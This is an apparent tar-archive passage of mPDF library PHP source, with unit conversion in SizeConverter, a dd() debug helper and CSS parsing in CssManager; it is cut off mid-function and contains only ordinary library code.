$defaultFontSize; /** * @var \Mpdf\Mpdf */ private $mpdf; /** * @var \Psr\Log\LoggerInterface */ private $logger; public function __construct($dpi, $defaultFontSize, Mpdf $mpdf, LoggerInterface $logger) { $this->dpi = $dpi; $this->defaultFontSize = $defaultFontSize; $this->mpdf = $mpdf; $this->logger = $logger; } public function setLogger(LoggerInterface $logger) { $this->logger = $logger; } /** * Depends of maxsize value to make % work properly. Usually maxsize == pagewidth * For text $maxsize = $fontsize * Setting e.g. margin % will use maxsize (pagewidth) and em will use fontsize * * @param mixed $size * @param mixed $maxsize * @param mixed $fontsize * @param mixed $usefontsize Set false for e.g. margins - will ignore fontsize for % values * * @return float Final size in mm */ public function convert($size = 5, $maxsize = 0, $fontsize = false, $usefontsize = true) { $size = trim(strtolower($size)); $res = preg_match('/^(?P<size>[-0-9.,]+([eE]\-?[0-9]+)?)?(?P<unit>[%a-z-]+)?$/', $size, $parts); if (!$res) { // ignore definition $this->logger->warning(sprintf('Invalid size representation "%s"', $size), ['context' => LogContext::CSS_SIZE_CONVERSION]); } $unit = !empty($parts['unit']) ? $parts['unit'] : null; $size = !empty($parts['size']) ? (float) $parts['size'] : 0.0; switch ($unit) { case 'mm': // do nothing break; case 'cm': $size *= 10; break; case 'pt': $size *= 1 / Mpdf::SCALE; break; case 'rem': $size *= $this->mpdf->default_font_size / Mpdf::SCALE; break; case '%': if ($fontsize && $usefontsize) { $size *= $fontsize / 100; } else { $size *= $maxsize / 100; } break; case 'in': // mm in an inch $size *= 25.4; break; case 'pc': // PostScript picas $size *= 38.1 / 9; break; case 'ex': // Approximates "ex" as half of font height $size *= $this->multiplyFontSize($fontsize, $maxsize, 0.5); break; case 'em': $size *= $this->multiplyFontSize($fontsize, $maxsize, 1); break; case 'thin': $size = 1 * (25.4 / $this->dpi); break; case 'medium': $size = 3 * (25.4 / $this->dpi); // Commented-out dead code from legacy method // $size *= $this->multiplyFontSize($fontsize, $maxsize, 1); break; case 'thick': $size = 5 * (25.4 / $this->dpi); // 5 pixel width for table borders break; case 'xx-small': $size *= $this->multiplyFontSize($fontsize, $maxsize, 0.7); break; case 'x-small': $size *= $this->multiplyFontSize($fontsize, $maxsize, 0.77); break; case 'small': $size *= $this->multiplyFontSize($fontsize, $maxsize, 0.86); break; case 'large': $size *= $this->multiplyFontSize($fontsize, $maxsize, 1.2); break; case 'x-large': $size *= $this->multiplyFontSize($fontsize, $maxsize, 1.5); break; case 'xx-large': $size *= $this->multiplyFontSize($fontsize, $maxsize, 2); break; case 'px': default: $size *= (25.4 / $this->dpi); break; } return $size; } private function multiplyFontSize($fontsize, $maxsize, $ratio) { if ($fontsize) { return $fontsize * $ratio; } return $maxsize * $ratio; } } �������������������������������������������������������������������������������������������������������������������vendor/mpdf/mpdf/src/functions-dev.php��������������������������������������������������������������0000644�����������������00000000245�14760002214�0013776 0����������������������������������������������������������������������������������������������������ustar�00�������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������<?php if (!function_exists('dd')) { function dd(...$args) { if (function_exists('dump')) { dump(...$args); } else { var_dump(...$args); } die; } } �����������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������vendor/mpdf/mpdf/src/CssManager.php�����������������������������������������������������������������0000644�����������������00000231610�14760002214�0013237 0����������������������������������������������������������������������������������������������������ustar�00�������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������<?php namespace Mpdf; use Mpdf\Color\ColorConverter; use Mpdf\Css\TextVars; use Mpdf\File\StreamWrapperChecker; use Mpdf\Utils\Arrays; use Mpdf\Utils\UtfString; class CssManager { /** * @var \Mpdf\Mpdf */ private $mpdf; /** * @var \Mpdf\Cache */ private $cache; /** * @var \Mpdf\SizeConverter */ private $sizeConverter; /** * @var \Mpdf\Color\ColorConverter */ private $colorConverter; var $tablecascadeCSS; var $cascadeCSS; var $CSS; var $tbCSSlvl; var $cell_border_dominance_B; var $cell_border_dominance_L; var $cell_border_dominance_R; var $cell_border_dominance_T; public function __construct(Mpdf $mpdf, Cache $cache, SizeConverter $sizeConverter, ColorConverter $colorConverter) { $this->mpdf = $mpdf; $this->cache = $cache; $this->sizeConverter = $sizeConverter; $this->tablecascadeCSS = []; $this->CSS = []; $this->cascadeCSS = []; $this->tbCSSlvl = 0; $this->colorConverter = $colorConverter; } function ReadCSS($html) { preg_match_all('/<style[^>]*media=["\']([^"\'>]*)["\'].*?<\/style>/is', $html, $m); $count_m = count($m[0]); for ($i = 0; $i < $count_m; $i++) { if ($this->mpdf->CSSselectMedia && !preg_match('/(' . trim($this->mpdf->CSSselectMedia) . '|all)/i', $m[1][$i])) { $html = str_replace($m[0][$i], '', $html); } } preg_match_all('/<link[^>]*media=["\']([^"\'>]*)["\'].*?>/is', $html, $m); $count_m = count($m[0]); for ($i = 0; $i < $count_m; $i++) { if ($this->mpdf->CSSselectMedia && !preg_match('/(' . trim($this->mpdf->CSSselectMedia) . '|all)/i', $m[1][$i])) { $html = str_replace($m[0][$i], '', $html); } } // mPDF 5.5.02 // Remove Comment tags <!-- ... --> inside CSS as <style> in HTML document // Remove Comment tags /* ... */ inside CSS as <style> in HTML document // But first, we replace upper and mixed case closing style tag with lower // case so we can use str_replace later. preg_match_all('/<style.*?>(.*?)<\/style>/si', $html, $m); $count_m = count($m[1]); if ($count_m) { for ($i = 0; $i < $count_m; $i++) { // Remove comment tags $sub = preg_replace('/(<\!\-\-|\-\->)/s', ' ', $m[1][$i]); $sub = '>'.preg_replace('|/\*.*?\*/|s', ' ', $sub).'</style>'; $html = str_replace('>'.$m[1][$i].'</style>', $sub, $html); } } $html = preg_replace('/<!--mpdf/i', '', $html); $html = preg_replace('/mpdf-->/i', '', $html); $html = preg_replace('/<\!\-\-.*?\-\->/s', ' ', $html); $match = 0; // no match for instance $CSSext = []; // CSS inside external files $regexp = '/<link[^>]*rel=["\']stylesheet["\'][^>]*href=["\']([^>"\']*)["\'].*?>/si'; $x = preg_match_all($regexp, $html, $cxt); if ($x) { $match += $x; $CSSext = $cxt[1]; } $regexp = '/<link[^>]*href=["\']([^>"\']*)["\'][^>]*?rel=["\']stylesheet["\'].*?>/si'; $x = preg_match_all($regexp, $html, $cxt); if ($x) { $match += $x; $CSSext = array_merge($CSSext, $cxt[1]); } // look for @import stylesheets // $regexp = '/@import url\([\'\"]{0,1}([^\)]*?\.css)[\'\"]{0,1}\)/si'; // $regexp = '/@import url\([\'\"]{0,1}([^\)]*?\.css(\?\S+)?)[\'\"]{0,1}\)/si'; $regexp = '/@import url\([\'\"]{0,1}(\S*?\.css(\?[^\s\'\"]+)?)[\'\"]{0,1}\)\;?/si'; $x = preg_match_all($regexp, $html, $cxt); if ($x) { $match += $x; $CSSext = array_merge($CSSext, $cxt[1]); } // look for @import without the url() // $regexp = '/@import [\'\"]{0,1}([^;]*?\.css)[\'\"]{0,1}/si'; // $regexp = '/@import [\'\"]{0,1}([^;]*?\.css(\?\S+)?)[\'\"]{0,1}/si'; $regexp = '/@import (?!url)[\'\"]{0,1}(\S*?\.css(\?[^\s\'\"]+)?)[\'\"]{0,1}\;?/si'; $x = preg_match_all($regexp, $html, $cxt); if ($x) { $match += $x; $CSSext = array_merge($CSSext, $cxt[1]); } $ind = 0; $CSSstr = ''; if (!is_array($this->cascadeCSS)) { $this->cascadeCSS = []; } while ($match) { $path = $CSSext[$ind]; $path = htmlspecialchars_decode($path); // mPDF 6 $this->mpdf->GetFullPath($path); $CSSextblock = $this->getFileContents($path); if ($CSSextblock) { // look for embedded @import stylesheets in other stylesheets // and fix url paths (including background-images) relative to stylesheet // $regexpem = '/@import url\([\'\"]{0,1}(.*?\.css)[\'\"]{0,1}\)/si'; $regexpem = '/@import url\([\'\"]{0,1}(.*?\.css(\?\S+)?)[\'\"]{0,1}\)/si'; $xem = preg_match_all($regexpem, $CSSextblock, $cxtem); $cssBasePath = preg_replace('/\/[^\/]*$/', '', $path) . '/'; if ($xem) { foreach ($cxtem[1] as $cxtembedded) { // path is relative to original stylesheet!! $this->mpdf->GetFullPath($cxtembedded, $cssBasePath); $match++; $CSSext[] = $cxtembedded; } } $regexpem = '/(background[^;]*url\s*\(\s*[\'\"]{0,1})([^\)\'\"]*)([\'\"]{0,1}\s*\))/si'; $xem = preg_match_all($regexpem, $CSSextblock, $cxtem); if ($xem) { $count_cxtem = count($cxtem[0]); for ($i = 0; $i < $count_cxtem; $i++) { // path is relative to original stylesheet!! $embedded = $cxtem[2][$i]; if (!preg_match('/^data:image/i', $embedded)) { // mPDF 5.5.13 $this->mpdf->GetFullPath($embedded, $cssBasePath); $CSSextblock = str_replace($cxtem[0][$i], ($cxtem[1][$i] . $embedded . $cxtem[3][$i]), $CSSextblock); } } } $CSSstr .= ' ' . $CSSextblock; } $match--; $ind++; } // CSS as <style> in HTML document $regexp = '/<style.*?>(.*?)<\/style>/si'; $match = preg_match_all($regexp, $html, $CSSblock); if ($match) { $tmpCSSstr = implode(' ', $CSSblock[1]); $regexpem = '/(background[^;]*url\s*\(\s*[\'\"]{0,1})([^\)\'\"]*)([\'\"]{0,1}\s*\))/si'; $xem = preg_match_all($regexpem, $tmpCSSstr, $cxtem); if ($xem) { $count_cxtem = count($cxtem[0]); for ($i = 0; $i < $count_cxtem; $i++) { $embedded = $cxtem[2][$i]; if (!preg_match('/^data:image/i', $embedded)) { // mPDF 5.5.13 $this->mpdf->GetFullPath($embedded); $tmpCSSstr = str_replace($cxtem[0][$i], ($cxtem[1][$i] . $embedded . $cxtem[3][$i]), $tmpCSSstr); } } } $CSSstr .= ' ' . $tmpCSSstr; } // Remove comments $CSSstr = preg_replace('|/\*.*?\*/|s', ' ', $CSSstr); $CSSstr = preg_replace('/[\s\n\r\t\f]/s', ' ', $CSSstr); if (preg_match('/@media/', $CSSstr)) { preg_match_all('/@media(.*?)\{(([^\{\}]*\{[^\{\}]*\})+)\s*\}/is', $CSSstr, $m); $count_m = count($m[0]); for ($i = 0; $i < $count_m; $i++) { if ($this->mpdf->CSSselectMedia && !preg_match('/(' . trim($this->mpdf->CSSselectMedia) . '|all)/i', $m[1][$i])) { $CSSstr = str_replace($m[0][$i], '', $CSSstr); } else { $CSSstr = str_replace($m[0][$i], ' ' . $m[2][$i] . ' ', $CSSstr); } } } // Replace any background: url(data:image... with temporary image file reference preg_match_all("/(url\(data:image\/(jpeg|gif|png);base64,(.*?)\))/si", $CSSstr, $idata); // mPDF 5.7.2 $count_idata = count($idata[0]); if ($count_idata) { for ($i = 0; $i < $count_idata; $i++) { $file = $this->cache->write('_tempCSSidata' . random_int(1, 10000) . '_' . $i . '.' . $idata[2][$i], base64_decode($idata[3][$i])); $CSSstr = str_replace($idata[0][$i], 'url("' . $file . '")', $CSSstr); // mPDF 5.5.17 } } $CSSstr = preg_replace('/(<\!\-\-|\-\->)/s', ' ', $CSSstr); // mPDF 5.7.4 URLs // Characters "(" ")" and ";" in url() e.g. background-image, cause problems parsing the CSS string // URLencode ( and ), but change ";" to a code which can be converted back after parsing (so as not to confuse ; // with a segment delimiter in the URI) $tempmarker = '%ZZ'; if (strpos($CSSstr, 'url(') !== false) { preg_match_all('/url\(\"(.*?)\"\)/', $CSSstr, $m); $count_m = count($m[1]); for ($i = 0; $i < $count_m; $i++) { $tmp = str_replace(['(', ')', ';'], ['%28', '%29', $tempmarker], $m[1][$i]); $CSSstr = str_replace($m[0][$i], 'url(\'' . $tmp . '\')', $CSSstr); } preg_match_all('/url\(\'(.*?)\'\)/', $CSSstr, $m); $count_m = count($m[1]); for ($i = 0; $i < $count_m; $i++) { $tmp = str_replace(['(', ')', ';'], ['%28', '%29', $tempmarker], $m[1][$i]); $CSSstr = str_replace($m[0][$i], 'url(\'' . $tmp . '\')', $CSSstr); } preg_match_all('/url\(([^\'\"].*?[^\'\"])\)/', $CSSstr, $m); $count_m = count($m[1]); for ($i = 0; $i < $count_m; $i++) { $tmp = str_replace(['(', ')', ';'], ['%28', '%29', $tempmarker], $m[1][$i]); $CSSstr = str_replace($m[0][$i], 'url(\'' . $tmp . '\')', $CSSstr); } } if ($CSSstr) { $classproperties = []; // mPDF 6 preg_match_all('/(.*?)\{(.*?)\}/', $CSSstr, $styles); $styles_count = count($styles[1]); for ($i = 0; $i < $styles_count; $i++) { // SET array e.g. $classproperties['COLOR'] = '#ffffff'; $stylestr = trim($styles[2][$i]); $stylearr = explode(';', $stylestr); foreach ($stylearr as $sta) { if (trim($sta)) { // Changed to allow style="background: url('http://www.bpm1.com/bg.jpg')" $tmp = explode(':', $sta, 2); $property = $tmp[0]; if (isset($tmp[1])) { $value = $tmp[1]; } else { $value = ''; } $value = str_replace($tempmarker, ';', $value); // mPDF 5.7.4 URLs $property = trim($property); $value = preg_replace('/\s*!important/i', '', $value); $value = trim($value); if ($property && ($value || $value === '0')) { // Ignores -webkit-gradient so doesn't override -moz- if ((strtoupper($property) === 'BACKGROUND-IMAGE' || strtoupper($property) === 'BACKGROUND') && false !== stripos($value, '-webkit-gradient')) { continue; } $classproperties[strtoupper($property)] = $value; } } } $classproperties = $this->fixCSS($classproperties); $tagstr = strtoupper(trim($styles[1][$i])); $tagarr = explode(',', $tagstr); $pageselectors = false; // used to turn on $this->mpdf->mirrorMargins foreach ($tagarr as $tg) { if (preg_match('/NTH-CHILD\((\s*(([\-+]?\d*)N(\s*[\-+]\s*\d+)?|[\-+]?\d+|ODD|EVEN)\s*)\)/', $tg, $m)) { $tg = preg_replace('/NTH-CHILD\(.*\)/', 'NTH-CHILD(' . str_replace(' ', '', $m[1]) . ')', $tg); } $tags = preg_split('/\s+/', trim($tg)); $level = count($tags); $t = ''; $t2 = ''; $t3 = ''; if (trim($tags[0]) === '@PAGE') { if (isset($tags[0])) { $t = trim($tags[0]); } if (isset($tags[1])) { $t2 = trim($tags[1]); } if (isset($tags[2])) { $t3 = trim($tags[2]); } $tag = ''; if ($level === 1) { $tag = $t; } elseif ($level === 2 && preg_match('/^[:](.*)$/', $t2, $m)) { $tag = $t . '>>PSEUDO>>' . $m[1]; if ($m[1] === 'LEFT' || $m[1] === 'RIGHT') { $pageselectors = true; } // used to turn on $this->mpdf->mirrorMargins } elseif ($level === 2) { $tag = $t . '>>NAMED>>' . $t2; } elseif ($level === 3 && preg_match('/^[:](.*)$/', $t3, $m)) { $tag = $t . '>>NAMED>>' . $t2 . '>>PSEUDO>>' . $m[1]; if ($m[1] === 'LEFT' || $m[1] === 'RIGHT') { $pageselectors = true; } // used to turn on $this->mpdf->mirrorMargins } if (isset($this->CSS[$tag]) && $tag) { $this->CSS[$tag] = $this->array_merge_recursive_unique($this->CSS[$tag], $classproperties); } elseif ($tag) { $this->CSS[$tag] = $classproperties; } } elseif ($level === 1) { // e.g. p or .class or #id or p.class or p#id if (isset($tags[0])) { $t = trim($tags[0]); } if ($t) { $tag = ''; if (preg_match('/^[.](.*)$/', $t, $m)) { $classes = explode('.', $m[1]); sort($classes); $tag = 'CLASS>>' . join('.', $classes); } elseif (preg_match('/^[#](.*)$/', $t, $m)) { $tag = 'ID>>' . $m[1]; } elseif (preg_match('/^\[LANG=[\'\"]{0,1}([A-Z\-]{2,11})[\'\"]{0,1}\]$/', $t, $m)) { $tag = 'LANG>>' . strtolower($m[1]); } elseif (preg_match('/^:LANG\([\'\"]{0,1}([A-Z\-]{2,11})[\'\"]{0,1}\)$/', $t, $m)) { // mPDF 6 Special case for lang as attribute selector $tag = 'LANG>>' . strtolower($m[1]); } elseif (preg_match('/^(' . $this->mpdf->allowedCSStags . ')[.](.*)$/', $t, $m)) { // mPDF 6 Special case for lang as attribute selector $classes = explode('.', $m[2]); sort($classes); $tag = $m[1] . '>>CLASS>>' . join('.', $classes); } elseif (preg_match('/^(' . $this->mpdf->allowedCSStags . ')\s*:NTH-CHILD\((.*)\)$/', $t, $m)) { $tag = $m[1] . '>>SELECTORNTHCHILD>>' . $m[2]; } elseif (preg_match('/^(' . $this->mpdf->allowedCSStags . ')[#](.*)$/', $t, $m)) { $tag = $m[1] . '>>ID>>' . $m[2]; } elseif (preg_match('/^(' . $this->mpdf->allowedCSStags . ')\[LANG=[\'\"]{0,1}([A-Z\-]{2,11})[\'\"]{0,1}\]$/', $t, $m)) { $tag = $m[1] . '>>LANG>>' . strtolower($m[2]); } elseif (preg_match('/^(' . $this->mpdf->allowedCSStags . '):LANG\([\'\"]{0,1}([A-Z\-]{2,11})[\'\"]{0,1}\)$/', $t, $m)) { // mPDF 6 Special case for lang as attribute selector $tag = $m[1] . '>>LANG>>' . strtolower($m[2]); } elseif (preg_match('/^(' . $this->mpdf->allowedCSStags . ')$/', $t)) { // mPDF 6 Special case for lang as attribute selector $tag = $t; } if (isset($this->CSS[$tag]) && $tag) { $this->CSS[$tag] = $this->array_merge_recursive_unique($this->CSS[$tag], $classproperties); } elseif ($tag) { $this->CSS[$tag] = $classproperties; } } } else { $tmp = []; for ($n = 0; $n < $level; $n++) { $tag = ''; if (isset($tags[$n])) { $t = trim($tags[$n]); } else { $t = ''; } if ($t) { if (preg_match('/^[.](.*)$/', $t, $m)) { $classes = explode('.', $m[1]); sort($classes); $tag = 'CLASS>>' . join('.', $classes); } elseif (preg_match('/^[#](.*)$/', $t, $m)) { $tag = 'ID>>' . $m[1]; } elseif (preg_match('/^\[LANG=[\'\"]{0,1}([A-Z\-]{2,11})[\'\"]{0,1}\]$/', $t, $m)) { $tag = 'LANG>>' . strtolower($m[1]); } elseif (preg_match('/^:LANG\([\'\"]{0,1}([A-Z\-]{2,11})[\'\"]{0,1}\)$/', $t, $m)) { // mPDF 6 Special case for lang as attribute selector $tag = 'LANG>>' . strtolower($m[1]); } elseif (preg_match('/^(' . $this->mpdf->allowedCSStags . ')[.](.*)$/', $t, $m)) { // mPDF 6 Special case for lang as attribute selector $classes = explode('.', $m[2]); sort($classes); $tag = $m[1] . '>>CLASS>>' . join('.', $classes); } elseif (preg_match('/^(' . $this->mpdf->allowedCSStags . ')\s*:NTH-CHILD\((.*)\)$/', $t, $m)) { $tag = $m[1] . '>>SELECTORNTHCHILD>>' . $m[2]; } elseif (preg_match('/^(' . $this->mpdf->allowedCSStags . ')[#](.*)$/', $t, $m)) { $tag = $m[1] . '>>ID>>' . $m[2]; } elseif (preg_match('/^(' . $this->mpdf->allowedCSStags . ')\[LANG=[\'\"]{0,1}([A-Z\-]{2,11})[\'\"]{0,1}\]$/', $t, $m)) { $tag = $m[1] . '>>LANG>>' . strtolower($m[2]); } elseif (preg_match('/^(' . $this->mpdf->allowedCSStags . '):LANG\([\'\"]{0,1}([A-Z\-]{2,11})[\'\"]{0,1}\)$/', $t, $m)) { // mPDF 6 Special case for lang as attribute selector $tag = $m[1] . '>>LANG>>' . strtolower($m[2]); } elseif (preg_match('/^(' . $this->mpdf->allowedCSStags . ')$/', $t)) { // mPDF 6 Special case for lang as attribute selector $tag = $t; } if ($tag) { $tmp[] = $tag; } else { break; } } } if ($tag) { $x = &$this->cascadeCSS; foreach ($tmp as $tp) { $x = &$x[$tp]; } $x = $this->array_merge_recursive_unique($x, $classproperties); $x['depth'] = $level; } } } if ($pageselectors) { $this->mpdf->mirrorMargins = true; } $classproperties = []; } } // Remove CSS (tags and content), if any $regexp = '/<style.*?>(.*?)<\/style>/si'; // it can be <style> or <style type="txt/css"> $html = preg_replace($regexp, '', $html); return $html; } function readInlineCSS($html) { $html = htmlspecialchars_decode($html); // mPDF 5.7.4 URLs // mPDF 5.7.4 URLs // Characters "(" ")" and ";" in url() e.g. background-image, cause problems parsing the CSS string // URLencode ( and ), but change ";" to a code which can be converted back after parsing (so as not to confuse ; // with a segment delimiter in the URI) $tempmarker = '%ZZ'; if (strpos($html, 'url(') !== false) { preg_match_all('/url\(\"(.*?)\"\)/', $html, $m); $m_count = count($m[1]); for ($i = 0; $i < $m_count; $i++) { $tmp = str_replace(['(', ')', ';'], ['%28', '%29', $tempmarker], $m[1][$i]); $html = str_replace($m[0][$i], 'url(\'' . $tmp . '\')', $html); } preg_match_all('/url\(\'(.*?)\'\)/', $html, $m); $m_count = count($m[1]); for ($i = 0; $i < $m_count; $i++) { $tmp = str_replace(['(', ')', ';'], ['%28', '%29', $tempmarker], $m[1][$i]); $html = str_replace($m[0][$i], 'url(\'' . $tmp . '\')', $html); } preg_match_all('/url\(([^\'\"].*?[^\'\"])\)/', $html, $m); $m_count = count($m[1]); for ($i = 0; $i < $m_count; $i++) { $tmp = str_replace(['(', ')', ';'], ['%28', '%29', $tempmarker], $m[1][$i]); $html = str_replace($m[0][$i], 'url(\'' . $tmp . '\')', $html); } } // Fix incomplete CSS code $size = strlen($html) - 1; if (substr($html, $size, 1) !== ';') { $html .= ';'; } // Make CSS[Name-of-the-class] = array(key => value) $regexp = '|\\s*?(\\S+?):(.+?);|i'; preg_match_all($regexp, $html, $styleinfo); $properties = $styleinfo[1]; $values = $styleinfo[2]; // Array-properties and Array-values must have the SAME SIZE! $classproperties = []; $properties_count = count($properties); for ($i = 0; $i < $properties_count; $i++) { // Ignores -webkit-gradient so doesn't override -moz- if ((strtoupper($properties[$i]) === 'BACKGROUND-IMAGE' || strtoupper($properties[$i]) === 'BACKGROUND') && false !== stripos($values[$i], '-webkit-gradient')) { continue; } $values[$i] = str_replace($tempmarker, ';', $values[$i]); // mPDF 5.7.4 URLs $classproperties[strtoupper($properties[$i])] = trim($values[$i]); } return $this->fixCSS($classproperties); } function _fix_borderStr($bd) { preg_match_all("/\((.*?)\)/", $bd, $m); if (count($m[1])) { $m_count = count($m[1]); for ($i = 0; $i < $m_count; $i++) { $sub = str_replace(' ', '', $m[1][$i]); $bd = str_replace($m[1][$i], $sub, $bd); } } $prop = preg_split('/\s+/', trim($bd)); $w = 'medium'; $c = '#000000'; $s = 'none'; $prop_count = count($prop); if ($prop_count === 1) { // solid if (in_array($prop[0], $this->mpdf->borderstyles) || $prop[0] === 'none' || $prop[0] === 'hidden') { $s = $prop[0]; } // #000000 elseif (is_array($this->colorConverter->convert($prop[0], $this->mpdf->PDFAXwarnings))) { $c = $prop[0]; } // 1px else { $w = $prop[0]; } } elseif ($prop_count === 2) { // 1px solid if (in_array($prop[1], $this->mpdf->borderstyles) || $prop[1] === 'none' || $prop[1] === 'hidden') { $w = $prop[0]; $s = $prop[1]; } // solid #000000 elseif (in_array($prop[0], $this->mpdf->borderstyles) || $prop[0] === 'none' || $prop[0] === 'hidden') { $s = $prop[0]; $c = $prop[1]; } // 1px #000000 else { $w = $prop[0]; $c = $prop[1]; } } elseif ($prop_count === 3) { // Change #000000 1px solid to 1px solid #000000 (proper) if (0 === strpos($prop[0], '#')) { $c = $prop[0]; $w = $prop[1]; $s = $prop[2]; } // Change solid #000000 1px to 1px solid #000000 (proper) elseif (substr($prop[0], 1, 1) === '#') { $s = $prop[0]; $c = $prop[1]; $w = $prop[2]; } // Change solid 1px #000000 to 1px solid #000000 (proper) elseif (in_array($prop[0], $this->mpdf->borderstyles) || $prop[0] === 'none' || $prop[0] === 'hidden') { $s = $prop[0]; $w = $prop[1]; $c = $prop[2]; } else { $w = $prop[0]; $s = $prop[1]; $c = $prop[2]; } } else { return ''; } $s = strtolower($s); return $w . ' ' . $s . ' ' . $c; } function fixCSS($prop) { if (!is_array($prop) || (count($prop) == 0)) { return []; } $newprop = []; foreach ($prop as $k => $v) { if ($k !== 'BACKGROUND-IMAGE' && $k !== 'BACKGROUND' && $k !== 'ODD-HEADER-NAME' && $k !== 'EVEN-HEADER-NAME' && $k !== 'ODD-FOOTER-NAME' && $k !== 'EVEN-FOOTER-NAME' && $k !== 'HEADER' && $k !== 'FOOTER') { $v = strtolower($v); } if ($k === 'FONT') { $s = trim($v); preg_match_all('/\"(.*?)\"/', $s, $ff); if (count($ff[1])) { foreach ($ff[1] as $ffp) { $w = preg_split('/\s+/', $ffp); $s = preg_replace('/\"' . $ffp . '\"/', $w[0], $s); } } preg_match_all('/\'(.*?)\'/', $s, $ff); if (count($ff[1])) { foreach ($ff[1] as $ffp) { $w = preg_split('/\s+/', $ffp); $s = preg_replace('/\'' . $ffp . '\'/', $w[0], $s); } } $s = preg_replace('/\s*,\s*/', ',', $s); $bits = preg_split('/\s+/', $s); if (count($bits) > 1) { $k = 'FONT-FAMILY'; $v = $bits[(count($bits) - 1)]; $fs = $bits[(count($bits) - 2)]; if (preg_match('/(.*?)\/(.*)/', $fs, $fsp)) { $newprop['FONT-SIZE'] = $fsp[1]; $newprop['LINE-HEIGHT'] = $fsp[2]; } else { $newprop['FONT-SIZE'] = $fs; } if (preg_match('/(italic|oblique)/i', $s)) { $newprop['FONT-STYLE'] = 'italic'; } else { $newprop['FONT-STYLE'] = 'normal'; } if (false !== stripos($s, 'bold')) { $newprop['FONT-WEIGHT'] = 'bold'; } else { $newprop['FONT-WEIGHT'] = 'normal'; } if (false !== stripos($s, 'small-caps')) { $newprop['TEXT-TRANSFORM'] = 'uppercase'; } } } elseif ($k === 'FONT-FAMILY') { $aux_fontlist = explode(',', $v); $found = 0; foreach ($aux_fontlist as $f) { $fonttype = trim($f); $fonttype = preg_replace('/["\']*(.*?)["\']*/', '\\1', $fonttype); $fonttype = preg_replace('/ /', '', $fonttype); $v = strtolower(trim($fonttype)); if (isset($this->mpdf->fonttrans[$v]) && $this->mpdf->fonttrans[$v]) { $v = $this->mpdf->fonttrans[$v]; } if ((!$this->mpdf->onlyCoreFonts && in_array($v, $this->mpdf->available_unifonts)) || in_array($v, ['ccourier', 'ctimes', 'chelvetica']) || ($this->mpdf->onlyCoreFonts && in_array($v, ['courier', 'times', 'helvetica', 'arial'])) || in_array($v, ['sjis', 'uhc', 'big5', 'gb'])) { $newprop[$k] = $v; $found = 1; break; } } if (!$found) { foreach ($aux_fontlist as $f) { $fonttype = trim($f); $fonttype = preg_replace('/["\']*(.*?)["\']*/', '\\1', $fonttype); $fonttype = preg_replace('/ /', '', $fonttype); $v = strtolower(trim($fonttype)); if (isset($this->mpdf->fonttrans[$v]) && $this->mpdf->fonttrans[$v]) { $v = $this->mpdf->fonttrans[$v]; } if (in_array($v, $this->mpdf->sans_fonts) || in_array($v, $this->mpdf->serif_fonts) || in_array($v, $this->mpdf->mono_fonts)) { $newprop[$k] = $v; break; } } } } elseif ($k === 'FONT-VARIANT') { if (preg_match('/(normal|none)/', $v, $m)) { $newprop['FONT-VARIANT-LIGATURES'] = $m[1]; $newprop['FONT-VARIANT-CAPS'] = $m[1]; $newprop['FONT-VARIANT-NUMERIC'] = $m[1]; $newprop['FONT-VARIANT-ALTERNATES'] = $m[1]; } else { if (preg_match_all('/(no-common-ligatures|\bcommon-ligatures|no-discretionary-ligatures|\bdiscretionary-ligatures|no-historical-ligatures|\bhistorical-ligatures|no-contextual|\bcontextual)/i', $v, $m)) { $newprop['FONT-VARIANT-LIGATURES'] = implode(' ', $m[1]); } if (preg_match('/(all-small-caps|\bsmall-caps|all-petite-caps|\bpetite-caps|unicase|titling-caps)/i', $v, $m)) { $newprop['FONT-VARIANT-CAPS'] = $m[1]; } if (preg_match_all('/(lining-nums|oldstyle-nums|proportional-nums|tabular-nums|diagonal-fractions|stacked-fractions)/i', $v, $m)) { $newprop['FONT-VARIANT-NUMERIC'] = implode(' ', $m[1]); } if (preg_match('/(historical-forms)/i', $v, $m)) { $newprop['FONT-VARIANT-ALTERNATES'] = $m[1]; } } } elseif ($k === 'MARGIN') { $tmp = $this->expand24($v); $newprop['MARGIN-TOP'] = $tmp['T']; $newprop['MARGIN-RIGHT'] = $tmp['R']; $newprop['MARGIN-BOTTOM'] = $tmp['B']; $newprop['MARGIN-LEFT'] = $tmp['L']; } elseif ($k === 'BORDER-RADIUS' || $k === 'BORDER-TOP-LEFT-RADIUS' || $k === 'BORDER-TOP-RIGHT-RADIUS' || $k === 'BORDER-BOTTOM-LEFT-RADIUS' || $k === 'BORDER-BOTTOM-RIGHT-RADIUS') { $tmp = $this->border_radius_expand($v, $k); if (isset($tmp['TL-H'])) { $newprop['BORDER-TOP-LEFT-RADIUS-H'] = $tmp['TL-H']; } if (isset($tmp['TL-V'])) { $newprop['BORDER-TOP-LEFT-RADIUS-V'] = $tmp['TL-V']; } if (isset($tmp['TR-H'])) { $newprop['BORDER-TOP-RIGHT-RADIUS-H'] = $tmp['TR-H']; } if (isset($tmp['TR-V'])) { $newprop['BORDER-TOP-RIGHT-RADIUS-V'] = $tmp['TR-V']; } if (isset($tmp['BL-H'])) { $newprop['BORDER-BOTTOM-LEFT-RADIUS-H'] = $tmp['BL-H']; } if (isset($tmp['BL-V'])) { $newprop['BORDER-BOTTOM-LEFT-RADIUS-V'] = $tmp['BL-V']; } if (isset($tmp['BR-H'])) { $newprop['BORDER-BOTTOM-RIGHT-RADIUS-H'] = $tmp['BR-H']; } if (isset($tmp['BR-V'])) { $newprop['BORDER-BOTTOM-RIGHT-RADIUS-V'] = $tmp['BR-V']; } } elseif ($k === 'PADDING') { $tmp = $this->expand24($v); $newprop['PADDING-TOP'] = $tmp['T']; $newprop['PADDING-RIGHT'] = $tmp['R']; $newprop['PADDING-BOTTOM'] = $tmp['B']; $newprop['PADDING-LEFT'] = $tmp['L']; } elseif ($k === 'BORDER') { if ($v == '1') { $v = '1px solid #000000'; } else { $v = $this->_fix_borderStr($v); } $newprop['BORDER-TOP'] = $v; $newprop['BORDER-RIGHT'] = $v; $newprop['BORDER-BOTTOM'] = $v; $newprop['BORDER-LEFT'] = $v; } elseif ($k === 'BORDER-TOP') { $newprop['BORDER-TOP'] = $this->_fix_borderStr($v); } elseif ($k === 'BORDER-RIGHT') { $newprop['BORDER-RIGHT'] = $this->_fix_borderStr($v); } elseif ($k === 'BORDER-BOTTOM') { $newprop['BORDER-BOTTOM'] = $this->_fix_borderStr($v); } elseif ($k === 